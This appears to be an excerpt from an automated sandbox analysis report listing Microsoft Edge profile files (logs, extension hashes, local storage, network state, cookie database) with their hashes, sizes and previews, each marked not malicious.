SSDEEP:	6:HC5aq2PN723oH+Tcwt8aPrqIFUt8YC5wFFZZmw+YC5wFFzkwON723oH+Tcwt8amd:9vVaYebL3FUt8YZ/+Yz5OaYebQJ
MD5:	F155C27A73284E7171EFA01A7404A60C
SHA1:	65E91431E1F55ED479738F8776371C17D372044D
SHA-256:	0314915BE08D634E367B1601B79EC25E1D37F4478FECD2AFE016D40F4CD3393E
SHA-512:	9C0EFDE029CF2AA9E634D20BC82B9D0D9655080FB57E330F3552A96BE5DE99148A5A1055EE59DC1AA8834DA667A43720CAF47CF1D8E219E622C535EA1DDB0CFC
Malicious:	false
Preview:	2024/11/27-20:27:31.714 1e60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/27-20:27:31.715 1e60 Recovering log #3.2024/11/27-20:27:31.715 1e60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1170690888482735
Encrypted:	false
SSDEEP:	6:HC5aq2PN723oH+Tcwt8aPrqIFUt8YC5wFFZZmw+YC5wFFzkwON723oH+Tcwt8amd:9vVaYebL3FUt8YZ/+Yz5OaYebQJ
MD5:	F155C27A73284E7171EFA01A7404A60C
SHA1:	65E91431E1F55ED479738F8776371C17D372044D
SHA-256:	0314915BE08D634E367B1601B79EC25E1D37F4478FECD2AFE016D40F4CD3393E
SHA-512:	9C0EFDE029CF2AA9E634D20BC82B9D0D9655080FB57E330F3552A96BE5DE99148A5A1055EE59DC1AA8834DA667A43720CAF47CF1D8E219E622C535EA1DDB0CFC
Malicious:	false
Preview:	2024/11/27-20:27:31.714 1e60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/27-20:27:31.715 1e60 Recovering log #3.2024/11/27-20:27:31.715 1e60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.13721793661822
Encrypted:	false
SSDEEP:	6:HC5bUWIq2PN723oH+Tcwt865IFUt8YC5PthZmw+YC5Pt7kwON723oH+Tcwt86+Ud:4FIvVaYeb/WFUt8zth/+zt75OaYeb/+e
MD5:	5808FD56F14A3A774060548C1A029A47
SHA1:	FDC3A0271041D3DAA2607189F7DED2B323250DF7
SHA-256:	00E8CCE5C857BB4CBF8D4CF818C45B64ECDB271E50BD210E78A662186DA80FFD
SHA-512:	D09D6ABDDB1A6CD0120DA5C3FC036F46838F7B991B17524F3BB5F4F74EACD86841AA4C6B341816DE0D3A6450544D71A1CD261AF96762ED3D770808E3B1AC837B
Malicious:	false
Preview:	2024/11/27-20:27:31.725 1e60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/27-20:27:31.729 1e60 Recovering log #3.2024/11/27-20:27:31.729 1e60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.13721793661822
Encrypted:	false
SSDEEP:	6:HC5bUWIq2PN723oH+Tcwt865IFUt8YC5PthZmw+YC5Pt7kwON723oH+Tcwt86+Ud:4FIvVaYeb/WFUt8zth/+zt75OaYeb/+e
MD5:	5808FD56F14A3A774060548C1A029A47
SHA1:	FDC3A0271041D3DAA2607189F7DED2B323250DF7
SHA-256:	00E8CCE5C857BB4CBF8D4CF818C45B64ECDB271E50BD210E78A662186DA80FFD
SHA-512:	D09D6ABDDB1A6CD0120DA5C3FC036F46838F7B991B17524F3BB5F4F74EACD86841AA4C6B341816DE0D3A6450544D71A1CD261AF96762ED3D770808E3B1AC837B
Malicious:	false
Preview:	2024/11/27-20:27:31.725 1e60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/27-20:27:31.729 1e60 Recovering log #3.2024/11/27-20:27:31.729 1e60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.138625983429586
Encrypted:	false
SSDEEP:	6:HC5PfIq2PN723oH+Tcwt8NIFUt8YC5PIZmw+YC5PQkwON723oH+Tcwt8+eLJ:IwvVaYebpFUt8TI/+TQ5OaYebqJ
MD5:	938070CBCA7E232BAD63A9413D94A66D
SHA1:	264095DA76EB589C561A8910C07EAA925C042850
SHA-256:	53A753CE39C07ED89FB05F75CBD12CF51CD0E950E543EFECA0355CB04C23484E
SHA-512:	0461789BEE71953EB3736F13E5A69396C61C562444226F970E9D0D021EE2EC8A408A76FA790BE5A47D2C2E390D086F1EE941324EE7F149329E755C2274784882
Malicious:	false
Preview:	2024/11/27-20:27:32.785 1e50 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/27-20:27:32.786 1e50 Recovering log #3.2024/11/27-20:27:32.786 1e50 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.138625983429586
Encrypted:	false
SSDEEP:	6:HC5PfIq2PN723oH+Tcwt8NIFUt8YC5PIZmw+YC5PQkwON723oH+Tcwt8+eLJ:IwvVaYebpFUt8TI/+TQ5OaYebqJ
MD5:	938070CBCA7E232BAD63A9413D94A66D
SHA1:	264095DA76EB589C561A8910C07EAA925C042850
SHA-256:	53A753CE39C07ED89FB05F75CBD12CF51CD0E950E543EFECA0355CB04C23484E
SHA-512:	0461789BEE71953EB3736F13E5A69396C61C562444226F970E9D0D021EE2EC8A408A76FA790BE5A47D2C2E390D086F1EE941324EE7F149329E755C2274784882
Malicious:	false
Preview:	2024/11/27-20:27:32.785 1e50 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/27-20:27:32.786 1e50 Recovering log #3.2024/11/27-20:27:32.786 1e50 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21861961848037048
Encrypted:	false
SSDEEP:	3:Qlb9tFlljq7A/mhWJFuQ3yy7IOWU5eCtdweytllrE9SFcTp4AGbNCV9RUIwen:QRG75fO3d0Xi99pEYOe
MD5:	CF3BC66A2DBCD3D24BC5B89274239F69
SHA1:	D781F4E537CADFEBB44FC46F3ED241CCFD5D99C3
SHA-256:	B2A77F525E5771B43E206CD54529FB85D9FC840F9BD4FDEB039F66632AA93BC8
SHA-512:	AF953D1F4EE160D37065433E88969EACA30AAC38AF47592BAFACE88FE5FE5091117401D6C4768E7DC644F250E642890E032524985C27FE8D9C747816520694D1
Malicious:	false
Preview:	............w.;...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.648152292571476
Encrypted:	false
SSDEEP:	384:aj9P0vTQkQerkjlxP/KbtLc7gam6IThj773pLLRKToaAu:ad8Te2mlxP/NajF7NRKcC
MD5:	AE7AC53BAA5544A786E4199B61372056
SHA1:	53116E52A28E2675564A17635763D735EB8977C2
SHA-256:	365E7A2B1E71E4E94D2C02E0A6F842DABB7B9163CD84F6681B477C99FEC9B9F7
SHA-512:	D02AB18CE7D6A0BA228409AB446802998ED5B02AE76EA9DDD41A4A87C8671463AFBA68738FC0E2C36627E367E1D44EE960844825DC6593D2F4E0EBD19347B475
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	409
Entropy (8bit):	5.2787356652802835
Encrypted:	false
SSDEEP:	12:D3+vVaYeb8rcHEZrELFUt8JG/+JCV5OaYeb8rcHEZrEZSJ:DMVaYeb8nZrExg80OaYeb8nZrEZe
MD5:	44652FCCC5BF5AEB4D029C94C6BBDA87
SHA1:	0AE22D0DDB1BD5DB5AD6329541A26E37162E1761
SHA-256:	AD9065A9E5B2CDA6F4D7D2FAD36B9418626B9757A435BC35E0E83CB25E5EA4AB
SHA-512:	1FA9705B2D4DA6F24B13EA08CF70FBD5F3980874390B7F810E08D5785EF9B7B3299A69A8C29BDCF7D961257323E90BECD3CBEE3E53937B872398F8A0AA15C969
Malicious:	false
Preview:	2024/11/27-20:27:35.924 5bc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/27-20:27:35.926 5bc Recovering log #3.2024/11/27-20:27:35.926 5bc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	409
Entropy (8bit):	5.2787356652802835
Encrypted:	false
SSDEEP:	12:D3+vVaYeb8rcHEZrELFUt8JG/+JCV5OaYeb8rcHEZrEZSJ:DMVaYeb8nZrExg80OaYeb8nZrEZe
MD5:	44652FCCC5BF5AEB4D029C94C6BBDA87
SHA1:	0AE22D0DDB1BD5DB5AD6329541A26E37162E1761
SHA-256:	AD9065A9E5B2CDA6F4D7D2FAD36B9418626B9757A435BC35E0E83CB25E5EA4AB
SHA-512:	1FA9705B2D4DA6F24B13EA08CF70FBD5F3980874390B7F810E08D5785EF9B7B3299A69A8C29BDCF7D961257323E90BECD3CBEE3E53937B872398F8A0AA15C969
Malicious:	false
Preview:	2024/11/27-20:27:35.924 5bc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/27-20:27:35.926 5bc Recovering log #3.2024/11/27-20:27:35.926 5bc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	5.694128129110918
Encrypted:	false
SSDEEP:	24:sZW83QOw/kqfJ+2ffvxlXZ49W2sFV0374OMyPBdWu2luclxNcgFHHmb2cytXo1:sZDQB/vXLXZ4U2iV0374NyJdiuMRHHSr
MD5:	0B88A3884C1966AAB1600F74BF8CD2E9
SHA1:	3F1E95918AB9E7294425FC2F47B7687F900B824C
SHA-256:	89DA966052D0BCE066C65ABCFAE6BC4834DC777457C45669AEE45C76DDA0353B
SHA-512:	05B5C666D5C934B1F4E7722FD3D37746B6C43130922B12174651B38CCB5FF5A23A4BBA93DB1EAAD34BE09DAB1F763C889DB17DF47DF20D1EBDCB505E8555BAB0
Malicious:	false
Preview:	$.n..................VERSION.1..META:https://ntp.msn.com..............!_https://ntp.msn.com..LastKnownPV..1732757266923.._https://ntp.msn.com..MUID!.3A49E4BF156D65780FA2F1FA140F641B.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732757267016,"schedule":[-1,-1,32,34,-1,-1,29],"scheduleFixed":[-1,-1,32,34,-1,-1,29],"simpleSchedule":[37,44,13,52,47,28,9]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732757266880.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241122.365"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Wed Nov 27 2024 20:27:46 GMT-0500 (Eastern Standard Time).!_https://ntp.msn.com..storageTest..(..................META:https://ntp.msn.com.............-_https://ntp.msn.com.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.185102189690951
Encrypted:	false
SSDEEP:	6:HC5W0MM+q2PN723oH+Tcwt8a2jMGIFUt8YC5/5XZmw+YC5ZBlMVkwON723oH+TcL:AMM+vVaYeb8EFUt8bV/+7lMV5OaYeb8N
MD5:	48E7254F5460901DE830D9C66CF1EB49
SHA1:	1E65D121198656F69D6D5B4B021EBCA69991072B
SHA-256:	7F973B76C43EF3E9E0AD6951E681D9D251A8831948B697AA46789A66A2C3ADAE
SHA-512:	696008073727C3D93403A80FFD0AE9489FFDC2D55A483EF9F15B121C0C16ADA17AEBD71D4D710F7B7F14A230EC45076C2702949FEE59F239F34A047472BF5B95
Malicious:	false
Preview:	2024/11/27-20:27:32.849 1d6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/27-20:27:32.865 1d6c Recovering log #3.2024/11/27-20:27:32.868 1d6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.185102189690951
Encrypted:	false
SSDEEP:	6:HC5W0MM+q2PN723oH+Tcwt8a2jMGIFUt8YC5/5XZmw+YC5ZBlMVkwON723oH+TcL:AMM+vVaYeb8EFUt8bV/+7lMV5OaYeb8N
MD5:	48E7254F5460901DE830D9C66CF1EB49
SHA1:	1E65D121198656F69D6D5B4B021EBCA69991072B
SHA-256:	7F973B76C43EF3E9E0AD6951E681D9D251A8831948B697AA46789A66A2C3ADAE
SHA-512:	696008073727C3D93403A80FFD0AE9489FFDC2D55A483EF9F15B121C0C16ADA17AEBD71D4D710F7B7F14A230EC45076C2702949FEE59F239F34A047472BF5B95
Malicious:	false
Preview:	2024/11/27-20:27:32.849 1d6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/27-20:27:32.865 1d6c Recovering log #3.2024/11/27-20:27:32.868 1d6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\0b2c5ca0-5527-428a-a4b6-eacae4758b28.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\1d58341b-cd30-4bb1-a91a-1ac6313834ca.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3f1af3e0-5e12-4446-b517-9479b659c554.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\59c7503a-d5f8-453b-8b1d-1f007f1403b7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1484
Entropy (8bit):	5.301607052791834
Encrypted:	false
SSDEEP:	24:YcCp/WwFGJ/I3RdsiXZVMdmRds5ZFRudFGRw6C1E6maPsRdsFe6ZC52H1QYhbA77:YcCpfgCzsiJtsvfc7akEsFjCgHKYhbm
MD5:	A9B438DEC32CDA964EBF4F7A4A7258E8
SHA1:	80B0E8A312BF58730FC1378281F1BB0A4FE31656
SHA-256:	101201B0D40BBA4BD048DF5ED776613D9A37A0FE1D1922A87642BEB53075383F
SHA-512:	CC139420DE1644F8DAF5B56638BE747942DF79D4D1C408551AD4FFB1345E61F2C09AA52F3B6327C587C8462AE9B63479DA86F52912AAE98F443208A1359A9C50
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379822855998294","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379822858920747","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczo

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8c7e25dd-9bc1-45ee-80a6-8122b1739c9f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.778270568770711
Encrypted:	false
SSDEEP:	192:tTjGAleGS8KIzkWpiM3gJnuVbqJlVLXcf0L/ZJVb:VjJleGVKIzkEHOLBXI0LhJVb
MD5:	DFCE03B90290BD170D8FE48AEF71353E
SHA1:	E52159A2FA1D30425D2D17A00A0318CCE5022638
SHA-256:	429F82D7CEE203D393EADEF2AD798CB5953E31162D672943B30AE7A13FFB73D3
SHA-512:	CFA3932A09913DC8B137DEA8C33F83003D766480FD47D8FED2F097A2770FED496E25753D8788A68CF9D6B91BB209CDE64191EF31ED9B7B7E539F13B9911DA231
Malicious:	false
